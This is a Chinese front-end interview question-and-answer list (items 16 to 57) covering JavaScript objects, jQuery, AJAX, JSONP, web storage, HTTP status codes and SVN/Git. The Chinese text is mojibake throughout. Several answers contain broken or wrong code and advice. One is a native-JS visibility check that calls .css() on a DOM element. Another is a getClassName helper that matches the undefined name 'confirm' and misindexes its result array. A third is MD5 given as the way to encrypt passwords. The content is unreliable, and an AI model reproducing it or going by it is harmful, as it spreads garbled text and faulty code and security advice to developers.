16. 通過(guò)new創(chuàng)建一個(gè)對(duì)象的時(shí)候,函數(shù)內(nèi)部有哪些改變
function Person(){}
Person.prototype.friend = [];
Person.prototype.name = '';
// var a = new Person();
// a.friend[0] = '王琦';
// a.name = '程嬌';
// var b = new Person();
// b.friend?
// b.name?
1、創(chuàng)建一個(gè)空對(duì)象,并且 this 變量引用該對(duì)象,同時(shí)還繼承了該函數(shù)的原型。
2、屬性和方法被加入到 this 引用的對(duì)象中。
3、新創(chuàng)建的對(duì)象由 this 所引用,并且最后隱式的返回 this 。
17.事件委托?有什么好處?
(1)利用冒泡的原理,把事件加到父級(jí)上,觸發(fā)執(zhí)行效果
(2)好處:新添加的元素還會(huì)有之前的事件;提高性能。
18.window.onload ==? DOMContentLoaded ?
一般情況下,DOMContentLoaded事件要在window.onload之前執(zhí)行,當(dāng)DOM樹(shù)構(gòu)建完成的時(shí)候就會(huì)執(zhí)行DOMContentLoaded事件,而window.onload是在頁(yè)面載入完成的時(shí)候,才執(zhí)行,這其中包括圖片等元素。大多數(shù)時(shí)候我們只是想在DOM樹(shù)構(gòu)建完成后,綁定事件到元素,我們并不需要圖片元素,加上有時(shí)候加載外域圖片的速度非常緩慢。
19.節(jié)點(diǎn)類(lèi)型?判斷當(dāng)前節(jié)點(diǎn)類(lèi)型?
1. 元素節(jié)點(diǎn)
2. 屬性節(jié)點(diǎn)
3. 文本節(jié)點(diǎn)
8. 注釋節(jié)點(diǎn)
9. 文檔節(jié)點(diǎn)
通過(guò)nodeObject.nodeType判斷節(jié)點(diǎn)類(lèi)型:其中,nodeObject 為DOM節(jié)點(diǎn)(節(jié)點(diǎn)對(duì)象)。該屬性返回以數(shù)字表示的節(jié)點(diǎn)類(lèi)型,例如,元素節(jié)點(diǎn)返回 1,屬性節(jié)點(diǎn)返回 2 。
20.如何合并兩個(gè)數(shù)組?數(shù)組刪除一個(gè)元素?
//三種方法。
(1)var arr1=[1,2,3];
var arr2=[4,5,6];
arr1 = arr1.concat(arr2);
console.log(arr1);
(2)var arr1=[1,2,3];
var arr2=[4,5,6];
Array.prototype.push.apply(arr1,arr2);
console.log(arr1);
(3)var arr1=[1,2,3];
var arr2=[4,5,6];
for (var i=0; i < arr2.length; i++) {
arr1.push( arr2[i] );
}
console.log(arr1);
21.強(qiáng)制轉(zhuǎn)換 顯式轉(zhuǎn)換 隱式轉(zhuǎn)換?
//強(qiáng)制類(lèi)型轉(zhuǎn)換:
Boolean(0) // => false - 零
Boolean(new object()) // => true - 對(duì)象
Number(undefined) // => NaN
Number(null) // => 0
String(null) // => "null"
parseInt( )
parseFloat( )
JSON.parse( )
JSON.stringify ( )
隱式類(lèi)型轉(zhuǎn)換:
在使用算術(shù)運(yùn)算符時(shí),運(yùn)算符兩邊的數(shù)據(jù)類(lèi)型可以是任意的,比如,一個(gè)字符串可以和數(shù)字相加。之所以不同的數(shù)據(jù)類(lèi)型之間可以做運(yùn)算,是因?yàn)镴avaScript引擎在運(yùn)算之前會(huì)悄悄的把他們進(jìn)行了隱式類(lèi)型轉(zhuǎn)換的
(例如:x+"" //等價(jià)于String(x)
+x //等價(jià)于Number(x)
x-0 //同上
!!x //等價(jià)于Boolean(x),是雙嘆號(hào))
顯式轉(zhuǎn)換:
如果程序要求一定要將某一類(lèi)型的數(shù)據(jù)轉(zhuǎn)換為另一種類(lèi)型,則可以利用強(qiáng)制類(lèi)型轉(zhuǎn)換運(yùn)算符進(jìn)行轉(zhuǎn)換,這種強(qiáng)制轉(zhuǎn)換過(guò)程稱(chēng)為顯示轉(zhuǎn)換。
顯示轉(zhuǎn)換是你定義讓這個(gè)值類(lèi)型轉(zhuǎn)換成你要用的值類(lèi)型,是底到高的轉(zhuǎn)換。例 int 到float就可以直接轉(zhuǎn),int i=5,想把他轉(zhuǎn)換成char類(lèi)型,就用顯式轉(zhuǎn)換(char)i
22. Jq中如何實(shí)現(xiàn)多庫(kù)并存?
Noconfict 多庫(kù)共存就是“$ ”符號(hào)的沖突。
方法一: 利用jQuery的實(shí)用函數(shù)$.noConflict();這個(gè)函數(shù)歸還$的名稱(chēng)控制權(quán)給另一個(gè)庫(kù),因此可以在頁(yè)面上使用其他庫(kù)。這時(shí),我們可以用"jQuery "這個(gè)名稱(chēng)調(diào)用jQuery的功能。 $.noConflict();
jQuery('#id').hide();
.....
//或者給jQuery一個(gè)別名
var $j=jQuery
$j('#id').hide();
.....
方法二: (function($){})(jQuery)
方法三: jQuery(function($){})
通過(guò)傳遞一個(gè)函數(shù)作為jQuery的參數(shù),因此把這個(gè)函數(shù)聲明為就緒函數(shù)。 我們聲明$為就緒函數(shù)的參數(shù),因?yàn)閖Query總是吧jQuery對(duì)象的引用作為第一個(gè)參數(shù)傳遞,所以就保證了函數(shù)的執(zhí)行。
23.Jq中g(shù)et和eq有什么區(qū)別?
get() :取得其中一個(gè)匹配的元素。num表示取得第幾個(gè)匹配的元素,get多針對(duì)集合元素,返回的是DOM對(duì)象組成的數(shù)組 eq():獲取第N個(gè)元素,下標(biāo)都是從0開(kāi)始,返回的是一個(gè)JQuery對(duì)象
24.如何通過(guò)原生js 判斷一個(gè)元素當(dāng)前是顯示還是隱藏狀態(tài)?
if( document.getElementById("div").css("display")==='none')
if( document.getElementById("div").css("display")==='block')
$("#div").is(":hidden"); // 判斷是否隱藏
$("#div").is(":visible")
25.Jq如何判斷元素顯示隱藏?
//第一種:使用CSS屬性
var display =$('#id').css('display');
if(display == 'none'){ alert("我是隱藏的!"); }
//第二種:使用jquery內(nèi)置選擇器
<div id="test"> <p>僅僅是測(cè)試所用</p> </div>
if($("#test").is(":hidden")){ $("#test").show(); //如果元素為隱藏,則將它顯現(xiàn) }else{ $("#test").hide(); //如果元素為顯現(xiàn),則將其隱藏 }
//第三種:jQuery判斷元素是否顯示 是否隱藏
var node=$('#id');
if(node.is(':hidden')){ //如果node是隱藏的則顯示node元素,否則隱藏
node.show();
}else{
node.hide();
}
26.移動(dòng)端上什么是點(diǎn)擊穿透?
點(diǎn)擊穿透現(xiàn)象有3種:
點(diǎn)擊穿透問(wèn)題:點(diǎn)擊蒙層(mask)上的關(guān)閉按鈕,蒙層消失后發(fā)現(xiàn)觸發(fā)了按鈕下面元素的click事件跨頁(yè)面點(diǎn)擊穿透問(wèn)題:如果按鈕下面恰好是一個(gè)有href屬性的a標(biāo)簽,那么頁(yè)面就會(huì)發(fā)生跳轉(zhuǎn)另一種跨頁(yè)面點(diǎn)擊穿透問(wèn)題:這次沒(méi)有mask了,直接點(diǎn)擊頁(yè)內(nèi)按鈕跳轉(zhuǎn)至新頁(yè),然后發(fā)現(xiàn)新頁(yè)面中對(duì)應(yīng)位置元素的click事件被觸發(fā)了
解決方案:
1、只用touch
最簡(jiǎn)單的解決方案,完美解決點(diǎn)擊穿透問(wèn)題
把頁(yè)面內(nèi)所有click全部換成touch事件( touchstart 、’touchend’、’tap’)
2、只用click
下下策,因?yàn)闀?huì)帶來(lái)300ms延遲,頁(yè)面內(nèi)任何一個(gè)自定義交互都將增加300毫秒延遲
3、tap后延遲350ms再隱藏mask
改動(dòng)最小,缺點(diǎn)是隱藏mask變慢了,350ms還是能感覺(jué)到慢的
4、pointer-events
比較麻煩且有缺陷, 不建議使用mask隱藏后,給按鈕下面元素添上 pointer-events: none; 樣式,讓click穿過(guò)去,350ms后去掉這個(gè)樣式,恢復(fù)響應(yīng)缺陷是mask消失后的的350ms內(nèi),用戶(hù)可以看到按鈕下面的元素點(diǎn)著沒(méi)反應(yīng),如果用戶(hù)手速很快的話(huà)一定會(huì)發(fā)現(xiàn)
27.Jq綁定事件的幾種方式?on bind ?
jQuery中提供了四種事件監(jiān)聽(tīng)方式,分別是bind、live、delegate、on,對(duì)應(yīng)的解除監(jiān)聽(tīng)的函數(shù)分別是unbind、die、undelegate、off
Bind( )是使用頻率較高的一種,作用就是在選擇到的元素上綁定特定事件類(lèi)型的監(jiān)聽(tīng)函數(shù);
Live( )可以對(duì)后生成的元素也可以綁定相應(yīng)的事件,處理機(jī)制就是把事件綁定在DOM樹(shù)的根節(jié)點(diǎn)上,而不是直接綁定在某個(gè)元素上;
Delegate( )采用了事件委托的概念,不是直接為子元素綁定事件,而是為其父元素(或祖先元素也可)綁定事件,當(dāng)在div內(nèi)任意元素上點(diǎn)擊時(shí),事件會(huì)一層層從event target向上冒泡,直至到達(dá)你為其綁定事件的元素;
on( )方法可以綁定動(dòng)態(tài)添加到頁(yè)面元素的事件,on()方法綁定事件可以提升效率;
28.Jq中如何將一個(gè)jq對(duì)象轉(zhuǎn)化為dom對(duì)象?
方法一:
jQuery對(duì)象是一個(gè)數(shù)據(jù)對(duì)象,可以通過(guò)[index]的方法,來(lái)得到相應(yīng)的DOM對(duì)象。
如:var $v =$("#v") ; //jQuery對(duì)象
var v=$v[0]; //DOM對(duì)象
alert(v.checked) //檢測(cè)這個(gè)checkbox是否被選中
方法二:
jQuery本身提供,通過(guò).get(index)方法,得到相應(yīng)的DOM對(duì)象
如:var $v=$("#v"); //jQuery對(duì)象
var v=$v.get(0); //DOM對(duì)象
alert(v.checked) //檢測(cè)這個(gè)checkbox是否被選中
29.Jq中有幾種選擇器?分別是什么?
層疊選擇器、基本過(guò)濾選擇器、內(nèi)容過(guò)濾選擇器、可視化過(guò)濾選擇器、屬性過(guò)濾選擇器、子元素過(guò)濾選擇器、表單元素選擇器、表單元素過(guò)濾選擇器
30.Jq中怎么樣編寫(xiě)插件?
//第一種是類(lèi)級(jí)別的插件開(kāi)發(fā):
//1.1 添加一個(gè)新的全局函數(shù) 添加一個(gè)全局函數(shù),我們只需如下定義:
jQuery.foo = function() {
alert('This is a test. This is only a test.'); };
//1.2 增加多個(gè)全局函數(shù) 添加多個(gè)全局函數(shù),可采用如下定義:
jQuery.foo = function() {
alert('This is a test. This is only a test.'); };
jQuery.bar = function(param) {
alert('This function takes a parameter, which is "' + param + '".'); }; 調(diào)用時(shí)和一個(gè)函數(shù)的一樣的:jQuery.foo();jQuery.bar();或者$.foo();$.bar('bar');
//1.3 使用jQuery.extend(object);
jQuery.extend({
foo: function() {
alert('This is a test. This is only a test.');
},
bar: function(param) {
alert('This function takes a parameter, which is "' + param +'".');
}
});
//1.4 使用命名空間
// 雖然在jQuery命名空間中,我們禁止使用了大量的javaScript函數(shù)名和變量名。
// 但是仍然不可避免某些函數(shù)或變量名將于其他jQuery插件沖突,因此我們習(xí)慣將一些方法
// 封裝到另一個(gè)自定義的命名空間。
jQuery.myPlugin = {
foo:function() {
alert('This is a test. This is only a test.');
},
bar:function(param) {
alert('This function takes a parameter, which is "' + param + '".');
}
};
//采用命名空間的函數(shù)仍然是全局函數(shù),調(diào)用時(shí)采用的方法:
$.myPlugin.foo();
$.myPlugin.bar('baz');
//通過(guò)這個(gè)技巧(使用獨(dú)立的插件名),我們可以避免命名空間內(nèi)函數(shù)的沖突。
//第二種是對(duì)象級(jí)別的插件開(kāi)發(fā)
//形式1:
(function($){
$.fn.extend({
pluginName:function(opt,callback){
// Our plugin implementation code goes here.
}
})
})(jQuery);
//形式2:
(function($) {
$.fn.pluginName = function() {
// Our plugin implementation code goes here.
};
})(jQuery);
//形參是$,函數(shù)定義完成之后,把jQuery這個(gè)實(shí)參傳遞進(jìn)去.立即調(diào)用執(zhí)行。
//這樣的好處是,我們?cè)趯?xiě)jQuery插件時(shí),也可以使用$這個(gè)別名,而不會(huì)與prototype引起沖突
31.$('div+.ab')和$('.ab+div') 哪個(gè)效率高?
$('div+.ab')效率高
32.$.map和$.each有什么區(qū)別
map()方法主要用來(lái)遍歷操作數(shù)組和對(duì)象,會(huì)返回一個(gè)新的數(shù)組。$.map()方法適用于將數(shù)組或?qū)ο竺總€(gè)項(xiàng)目新陣列映射到一個(gè)新數(shù)組的函數(shù);
each()主要用于遍歷jquery對(duì)象,返回的是原來(lái)的數(shù)組,并不會(huì)新創(chuàng)建一個(gè)數(shù)組。
33.編寫(xiě)一個(gè) getElementsByClassName 封裝函數(shù)?
<body>
<input type="submit" id = "sub" class="ss confirm btn" value="提交"/>
<script> window.onload = function(){
//方法一
var Opt = document.getElementById('sub');
var getClass = function(className,tagName){
if(document.getElementsByTagName){
var Inp = document.getElementsByTagName(tagName);
for(var i=0; i<Inp.length; i++){
if((new RegExp('(\\s|^)' +className +'(\\s|$)')).test(Inp[i].className)){
return Inp[i];
}
}
}else if(document.getElementsByClassName){
return document.getElementsByClassName(className);
}
}
//方法二
var aa = getClass("confirm", "input");
function getClass(className, targetName){
var ele = [];
var all = document.getElementsByTagName(targetName || "*");
for(var i=0; i<all.length; i++){
if(all[i].className.match(new RegExp('(\\s|^)'+confirm+'(\\s|$)'))){
ele[ele.length] = all[i];
}
}
return ele;
}
//方法三
function getObjsByClass(tagName, className){
if(document.getElementsByClassName){
alert("document.getElementsByClassName");
return document.getElementsByClassName(className);
}else{
var el = [];
var _el = document.getElementsByTagName(tagName);
for(var i=0; i<_el.length; i++){
if(_el[i].className.indexOf(className) > -1){
alert(_el[i]);
el[_el.length] = _el[i];
}
}
alert(el);
return el;
}
}
}
</script>
</body>
34.簡(jiǎn)述下工作流程
我在之前的公司工作流程大概是這樣的:公司定稿會(huì)結(jié)束以后,會(huì)進(jìn)行簡(jiǎn)單的技術(shù)研討,然后我們前端會(huì)進(jìn)行先期的技術(shù)準(zhǔn)備。前端切圖人員會(huì)進(jìn)行psd設(shè)計(jì)稿切圖,并且將css文件進(jìn)行整合。我們主要編寫(xiě)JS部分,其中包括搭建前端框架(大項(xiàng)目),編寫(xiě)js業(yè)務(wù)和數(shù)據(jù)持久化操作,我們也會(huì)編寫(xiě)js插件并且進(jìn)行封裝方便使用,還有就是編寫(xiě)JS前端組建和JS測(cè)試單元,最后將完成的JS部分與切圖人員提供的HTML頁(yè)面進(jìn)行整合。最后對(duì)完成的頁(yè)面進(jìn)行功能測(cè)試、頁(yè)面兼容、產(chǎn)品還原。然后對(duì)產(chǎn)品進(jìn)行封存,提交測(cè)試。如果出現(xiàn)BUG會(huì)返回給我們開(kāi)發(fā)人員進(jìn)行修改,再提交測(cè)試,最后測(cè)試成功,進(jìn)行版本封存。等到程序全部上線(xiàn)的時(shí)候進(jìn)行線(xiàn)上測(cè)試。
35.一般使用什么版本控制工具?svn如何對(duì)文件加鎖
svn加鎖目的:為了避免多個(gè)人同一時(shí)間對(duì)同一個(gè)文件改動(dòng)的相互覆蓋,版本控制系統(tǒng)就必須有一套沖突處理機(jī)制。
svn加鎖兩種策略:樂(lè)觀(guān)加鎖:所有簽出的文件都是可讀寫(xiě)的,對(duì)文件的修改不必獲得文件的鎖,當(dāng)你修改完文件簽入時(shí),會(huì)首先要求你更新本地文件,版本控制系統(tǒng)不會(huì)覆蓋你的本地修改,而是會(huì)讓你自己合并沖突后簽入。
嚴(yán)格加鎖:所有簽出的文件都是只讀的,任何對(duì)文件的修改必須要獲得文件的鎖,如果其他人沒(méi)有擁有該文件的鎖,那么版本控制系統(tǒng)就會(huì)授權(quán)給你文件的鎖,并將文件設(shè)置為可編輯的。
svn兩種加鎖步驟:樂(lè)觀(guān)加鎖:選擇你想要獲取鎖定的文件,然后右鍵菜單點(diǎn)擊TortoiseSVN 選取獲取鎖定。
嚴(yán)格加鎖:在想要采取嚴(yán)格加鎖的文件或目錄上點(diǎn)擊右鍵,使用TortoiseSVN 屬性菜單,點(diǎn)擊新建屬性,選擇需要鎖定。
36. git 和 svn的區(qū)別?
SVN是集中式版本控制系統(tǒng),版本庫(kù)是集中放在中央服務(wù)器的,而干活的時(shí)候,用的都是自己的電腦,所以首先要從中央服務(wù)器哪里得到最新的版本,然后干活,干完后,需要把自己做完的活推送到中央服務(wù)器。集中式版本控制系統(tǒng)是必須聯(lián)網(wǎng)才能工作,如果在局域網(wǎng)還可以,帶寬夠大,速度夠快,如果在互聯(lián)網(wǎng)下,如果網(wǎng)速慢的話(huà),就納悶了。
Git是分布式版本控制系統(tǒng),那么它就沒(méi)有中央服務(wù)器的,每個(gè)人的電腦就是一個(gè)完整的版本庫(kù),這樣,工作的時(shí)候就不需要聯(lián)網(wǎng)了,因?yàn)榘姹径际窃谧约旱碾娔X上。既然每個(gè)人的電腦都有一個(gè)完整的版本庫(kù),那多個(gè)人如何協(xié)作呢?比如說(shuō)自己在電腦上改了文件A,其他人也在電腦上改了文件A,這時(shí),你們兩之間只需把各自的修改推送給對(duì)方,就可以互相看到對(duì)方的修改了。
37. jquery和zepto有什么區(qū)別?
1.針對(duì)移動(dòng)端程序,Zepto有一些基本的觸摸事件可以用來(lái)做觸摸屏交互(tap事件、swipe事件),Zepto是不支持IE瀏覽器的,這不是Zepto的開(kāi)發(fā)者Thomas Fucks在跨瀏覽器問(wèn)題上犯了迷糊,而是經(jīng)過(guò)了認(rèn)真考慮后為了降低文件尺寸而做出的決定,就像jQuery的團(tuán)隊(duì)在2.0版中不再支持舊版的IE(6 7 8)一樣。因?yàn)閆epto使用jQuery句法,所以它在文檔中建議把jQuery作為IE上的后備庫(kù)。那樣程序仍能在IE中,而其他瀏覽器則能享受到Zepto在文件大小上的優(yōu)勢(shì),然而它們兩個(gè)的API不是完全兼容的,所以使用這種方法時(shí)一定要小心,并要做充分的測(cè)試。
2.Dom操作的區(qū)別:添加id時(shí)jQuery不會(huì)生效而Zepto會(huì)生效。
3.zepto主要用在移動(dòng)設(shè)備上,只支持較新的瀏覽器,好處是代碼量比較小,性能也較好。
jquery主要是兼容性好,可以跑在各種pc,移動(dòng)上,好處是兼容各種瀏覽器,缺點(diǎn)是代碼量大,同時(shí)考慮兼容,性能也不夠好。
38. $(function(){})和window.onload 和 $(document).ready(function(){})
window.onload:用于當(dāng)頁(yè)面的所有元素,包括外部引用文件,圖片等都加載完畢時(shí)運(yùn)行函數(shù)內(nèi)的函數(shù)。load方法只能執(zhí)行一次,如果在js文件里寫(xiě)了多個(gè),只能執(zhí)行最后一個(gè)。
$(document).ready(function(){})和$(function(){})都是用于當(dāng)頁(yè)面的標(biāo)準(zhǔn)DOM元素被解析成DOM樹(shù)后就執(zhí)行內(nèi)部函數(shù)。這個(gè)函數(shù)是可以在js文件里多次編寫(xiě)的,對(duì)于多人共同編寫(xiě)的js就有很大的優(yōu)勢(shì),因?yàn)樗行袨楹瘮?shù)都會(huì)執(zhí)行到。而且$(document).ready()函數(shù)在HMTL結(jié)構(gòu)加載完后就可以執(zhí)行,不需要等大型文件加載或者不存在的連接等耗時(shí)工作完成才執(zhí)行,效率高。
39. Jq中 attr 和 prop 有什么區(qū)別
對(duì)于HTML元素本身就帶有的固有屬性,在處理時(shí),使用prop方法。
對(duì)于HTML元素我們自己自定義的DOM屬性,在處理時(shí),使用attr方法。
40. 簡(jiǎn)述下 this 和定義屬性和方法的時(shí)候有什么區(qū)別?Prototype?
this表示當(dāng)前對(duì)象,如果在全局作用范圍內(nèi)使用this,則指代當(dāng)前頁(yè)面對(duì)象window; 如果在函數(shù)中使用this,則this指代什么是根據(jù)運(yùn)行時(shí)此函數(shù)在什么對(duì)象上被調(diào)用。 我們還可以使用apply和call兩個(gè)全局方法來(lái)改變函數(shù)中this的具體指向。
prototype本質(zhì)上還是一個(gè)JavaScript對(duì)象。 并且每個(gè)函數(shù)都有一個(gè)默認(rèn)的prototype屬性。
在prototype上定義的屬性方法為所有實(shí)例共享,所有實(shí)例皆引用到同一個(gè)對(duì)象,單一實(shí)例對(duì)原型上的屬性進(jìn)行修改,也會(huì)影響到所有其他實(shí)例。
41. 什么是預(yù)編譯語(yǔ)音|預(yù)編譯處理器?
Sass是一種CSS預(yù)處理器語(yǔ)言,通過(guò)編程方式生成CSS代碼。因?yàn)榭删幊蹋圆倏仂`活性自由度高,方便實(shí)現(xiàn)一些直接編寫(xiě)CSS代碼較困難的代碼。
同時(shí),因?yàn)镾ass是生成CSS的語(yǔ)言,所以寫(xiě)出來(lái)的Sass文件是不能直接用的,必須經(jīng)過(guò)編譯器編譯成CSS文件才能使用。
CSS 預(yù)處理器是一種語(yǔ)言用來(lái)為 CSS 增加一些編程的的特性,無(wú)需考慮瀏覽器的兼容性問(wèn)題,例如你可以在 CSS 中使用變量、簡(jiǎn)單的程序邏輯、函數(shù)等等在編程語(yǔ)言中的一些基本技巧,可以讓你的 CSS 更見(jiàn)簡(jiǎn)潔,適應(yīng)性更強(qiáng),代碼更直觀(guān)等諸多好處。最常用的css預(yù)處理器有sass、less css、 stylus。
42.ajax 和 jsonp ?
ajax和jsonp的區(qū)別:
相同點(diǎn):都是請(qǐng)求一個(gè)url
不同點(diǎn):ajax的核心是通過(guò)xmlHttpRequest獲取內(nèi)容
jsonp的核心則是動(dòng)態(tài)添加<script>標(biāo)簽來(lái)調(diào)用服務(wù)器 提供的js腳本。
43.ajax執(zhí)行流程?
1. 創(chuàng)建XMLHttpRequest對(duì)象,也就是創(chuàng)建一個(gè)異步調(diào)用對(duì)象
2. 創(chuàng)建一個(gè)新的HTTP請(qǐng)求,并指定該HTTP請(qǐng)求的方法、URL及驗(yàn)證信息
3. 設(shè)置響應(yīng)HTTP請(qǐng)求狀態(tài)變化的函數(shù)
4. 發(fā)送HTTP請(qǐng)求
5. 獲取異步調(diào)用返回的數(shù)據(jù)
6. 使用JavaScript和DOM實(shí)現(xiàn)局部刷新
44.xhr對(duì)象 status ? readystate?
status是XMLHttpRequest對(duì)象的一個(gè)屬性,表示響應(yīng)的HTTP狀態(tài)碼。
readyState是XMLHttpRequest對(duì)象的一個(gè)屬性,用來(lái)標(biāo)識(shí)當(dāng)前XMLHttpRequest對(duì)象處于什么狀態(tài)。
45.readystate 0~4
0:未初始化狀態(tài):此時(shí),已經(jīng)創(chuàng)建了一個(gè)XMLHttpRequest對(duì)象
1: 準(zhǔn)備發(fā)送狀態(tài):此時(shí),已經(jīng)調(diào)用了XMLHttpRequest對(duì)象的open方法,并且XMLHttpRequest對(duì)象已經(jīng)準(zhǔn)備好將一個(gè)請(qǐng)求發(fā)送到服務(wù)器端
2:已經(jīng)發(fā)送狀態(tài):此時(shí),已經(jīng)通過(guò)send方法把一個(gè)請(qǐng)求發(fā)送到服務(wù)器端,但是還沒(méi)有收到一個(gè)響應(yīng)
3:正在接收狀態(tài):此時(shí),已經(jīng)接收到HTTP響應(yīng)頭部信息,但是消息體部分還沒(méi)有完全接收到
4:完成響應(yīng)狀態(tài):此時(shí),已經(jīng)完成了HTTP響應(yīng)的接收
46.說(shuō)出幾個(gè)http協(xié)議狀態(tài)碼?
200, 201, 302, 304, 400, 404, 500
200:請(qǐng)求成功
201:請(qǐng)求成功并且服務(wù)器創(chuàng)建了新的資源
302:服務(wù)器目前從不同位置的網(wǎng)頁(yè)響應(yīng)請(qǐng)求,但請(qǐng)求者應(yīng)繼續(xù)使用原有位置來(lái)響應(yīng)以后的請(qǐng)求。
304:自從上次請(qǐng)求后,請(qǐng)求的網(wǎng)頁(yè)未修改過(guò)。服務(wù)器返回此響應(yīng)時(shí),不會(huì)返回網(wǎng)頁(yè)內(nèi)容。
400:服務(wù)器不理解請(qǐng)求的語(yǔ)法。
404:請(qǐng)求的資源(網(wǎng)頁(yè)等)不存在
500: 內(nèi)部服務(wù)器錯(cuò)誤
47.上一個(gè)項(xiàng)目是什么?主要負(fù)責(zé)哪些?購(gòu)物車(chē)流程?支付功能?
主要負(fù)責(zé)哪些就講主要做哪些功能模塊:
1)商品模塊:
1、商品列表:商品排序 商品篩選 商品過(guò)濾 商品查詢(xún) 商品推薦
2、商品詳情:類(lèi)型推薦 商品簡(jiǎn)介 商品詳情 商品評(píng)價(jià) 售后維護(hù)
2)購(gòu)物車(chē)模塊:商品編號(hào)、數(shù)量、價(jià)格、總額、運(yùn)費(fèi)、運(yùn)輸選項(xiàng)、運(yùn)費(fèi)總計(jì)、從購(gòu)物車(chē)刪除選項(xiàng)、更新數(shù)量、結(jié)賬、繼續(xù)購(gòu)物、商品描述、庫(kù)存信息
48.sessionStorage和localstroage與cookie之間有什么關(guān)聯(lián), cookie最大存放多少字節(jié)
三者共同點(diǎn):都是保存在瀏覽器端,且同源的。
區(qū)別:
1、cookie在瀏覽器和服務(wù)器間來(lái)回傳遞。而sessionStorage和localStorage不會(huì)自動(dòng)把數(shù)據(jù)發(fā)給服務(wù)器,僅在本地保存
2、存儲(chǔ)大小限制也不同,cookie數(shù)據(jù)不能超過(guò)4k,sessionStorage和localStorage 但比cookie大得多,可以達(dá)到5M
3、數(shù)據(jù)有效期不同,sessionStorage:僅在當(dāng)前瀏覽器窗口關(guān)閉前有效,自然也就不可能持久保持;localStorage:始終有效,窗口或?yàn)g覽器關(guān)閉也一直保存,因此用作持久數(shù)據(jù);cookie只在設(shè)置的cookie過(guò)期時(shí)間之前一直有效,即使窗口或?yàn)g覽器關(guān)閉
4、作用域不同,sessionStorage不在不同的瀏覽器窗口中共享,即使是同一個(gè)頁(yè)面(即數(shù)據(jù)不共享);localStorage 在所有同源窗口中都是共享的;cookie也是在所有同源窗口中都是共享的( 即數(shù)據(jù)共享 )。
49.ajax中 get 和 post 有什么區(qū)別?
get和post都是數(shù)據(jù)提交的方式。
get的數(shù)據(jù)是通過(guò)網(wǎng)址問(wèn)號(hào)后邊拼接的字符串進(jìn)行傳遞的。post是通過(guò)一個(gè)HTTP包體進(jìn)行傳遞數(shù)據(jù)的。
get的傳輸量是有限制的,post是沒(méi)有限制的。
get的安全性可能沒(méi)有post高,所以我們一般用get來(lái)獲取數(shù)據(jù),post一般用來(lái)修改數(shù)據(jù)。
50.Gc機(jī)制是什么?為什么閉包不會(huì)被回收變量和函數(shù)?
1、Gc垃圾回收機(jī)制;
2、外部變量沒(méi)釋放,所以指向的大函數(shù)內(nèi)的小函數(shù)也釋放不了
51.簡(jiǎn)述下你理解的面向?qū)ο螅?/strong>
萬(wàn)物皆對(duì)象,把一個(gè)對(duì)象抽象成類(lèi),具體上就是把一個(gè)對(duì)象的靜態(tài)特征和動(dòng)態(tài)特征抽象成屬性和方法,也就是把一類(lèi)事物的算法和數(shù)據(jù)結(jié)構(gòu)封裝在一個(gè)類(lèi)之中,程序就是多個(gè)對(duì)象和互相之間的通信組成的.
面向?qū)ο缶哂蟹庋b性,繼承性,多態(tài)性。
封裝:隱蔽了對(duì)象內(nèi)部不需要暴露的細(xì)節(jié),使得內(nèi)部細(xì)節(jié)的變動(dòng)跟外界脫離,只依靠接口進(jìn)行通信.封裝性降低了編程的復(fù)雜性. 通過(guò)繼承,使得新建一個(gè)類(lèi)變得容易,一個(gè)類(lèi)從派生類(lèi)那里獲得其非私有的方法和公用屬性的繁瑣工作交給了編譯器. 而繼承和實(shí)現(xiàn)接口和運(yùn)行時(shí)的類(lèi)型綁定機(jī)制 所產(chǎn)生的多態(tài),使得不同的類(lèi)所產(chǎn)生的對(duì)象能夠?qū)ο嗤南⒆鞒霾煌姆磻?yīng),極大地提高了代碼的通用性.
總之,面向?qū)ο蟮奶匦蕴岣吡舜笮统绦虻闹赜眯院涂删S護(hù)性.
52.this是什么 在不同場(chǎng)景中分別代表什么
(1)function a(){ this ?} //This:指向windows
(2)function b(){ return function(){ this ?}}b()(); //This:指向windows
(3)function c(){ return {s:function(){this}}}c().s(); //This:指向object
由于其運(yùn)行期綁定的特性,JavaScript 中的 this 含義要豐富得多,它可以是全局對(duì)象、當(dāng)前對(duì)象或者任意對(duì)象,這完全取決于函數(shù)的調(diào)用方式。
53.你對(duì)數(shù)據(jù)校驗(yàn)是怎么樣處理的?jquery.validate?
通俗的說(shuō),就是為保證數(shù)據(jù)的完整性,用一種指定的算法對(duì)原始數(shù)據(jù)計(jì)算出的一個(gè)校驗(yàn)值。接收方用同樣的算法計(jì)算一次校驗(yàn)值,如果和隨數(shù)據(jù)提供的校驗(yàn)值一樣,就說(shuō)明數(shù)據(jù)是完整的。
用正則表達(dá)式來(lái)處理;
jquery.validate:為表單驗(yàn)證插件
54.如何對(duì)登錄的賬號(hào)密碼進(jìn)行加密?
Md5
55.在jq中 mouseover mouseenter mouseout mouseleave 和 hover有什么關(guān)聯(lián)?
mouseenter與mouseover:
不論鼠標(biāo)指針穿過(guò)被選中元素或其子元素,都會(huì)觸發(fā)mouseover事件。
只有在鼠標(biāo)指針穿過(guò)被選元素時(shí),才會(huì)觸發(fā)mouseentr事件。
mouseout與mouseleave:
不論鼠標(biāo)離開(kāi)被選元素還是任何子元素,都會(huì)觸發(fā)mouseout事件。
只有在鼠標(biāo)指針離開(kāi)被選元素時(shí),才會(huì)觸發(fā)mouseleave事件。
hover:
hover是一個(gè)符合方法,相當(dāng)于mouseenter+mouseleave。
56.jsonp原理? 缺點(diǎn)?
工作原理:使用script標(biāo)簽實(shí)現(xiàn)跨域訪(fǎng)問(wèn),可在url中指定回調(diào)函數(shù),獲取JSON數(shù)據(jù)并在指定的回調(diào)函數(shù)中執(zhí)行jquery實(shí)現(xiàn)jsop。
缺點(diǎn):只支持GET方式的jsonp實(shí)現(xiàn),是一種腳本注入行為存在一定的安全隱患。如果返回的數(shù)據(jù)格式有問(wèn)題或者返回失敗了,并不會(huì)報(bào)錯(cuò)。
57.除了jsonp 還有什么跨域方式
javascript跨域有兩種情況:
1、基于同一父域的子域之間,如:http://a.c.com和http://b.c.com
2、基于不同的父域之間,如:http://www.a.com和http://www.b.com
3、端口的不同,如:http://www.a.com:8080和http://www.a.com:8088
4、協(xié)議不同,如:http://www.a.com和https://www.a.com
對(duì)于情況3和4,需要通過(guò)后臺(tái)proxy來(lái)解決,具體方式如下:
a、在發(fā)起方的域下創(chuàng)建proxy程序
b、發(fā)起方的js調(diào)用本域下的proxy程序
c、proxy將請(qǐng)求發(fā)送給接收方并獲取相應(yīng)數(shù)據(jù)
d、proxy將獲得的數(shù)據(jù)返回給發(fā)起方的js
